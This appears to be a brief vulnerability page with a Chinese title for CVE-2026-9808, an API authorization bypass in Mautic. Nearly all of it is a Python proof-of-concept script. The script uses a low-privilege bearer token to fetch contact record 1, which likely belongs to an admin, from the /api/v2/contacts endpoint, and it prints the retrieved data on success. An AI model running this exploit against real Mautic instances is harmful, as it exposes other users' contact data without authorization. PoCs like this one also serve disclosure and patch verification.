CVE-2026-9808 Mautic API权限绕过漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ PoC for CVE-2026-9808: Mautic API Authorization Bypass Demonstrates accessing a resource owned by another user using low-privilege credentials. """ import requests def check_vulnerability(target_url, api_token): headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/vnd.api+json" } # Attempting to access a contact ID (e.g., ID 1) that likely belongs to an Admin # while using a low-privilege token. target_endpoint = f"{target_url}/api/v2/contacts/1" try: response = requests.get(target_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print(f"[+] Successfully retrieved data: {response.json()}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target and token TARGET = "https://mautic.example.com" TOKEN = "LOW_PRIV_USER_TOKEN" check_vulnerability(TARGET, TOKEN)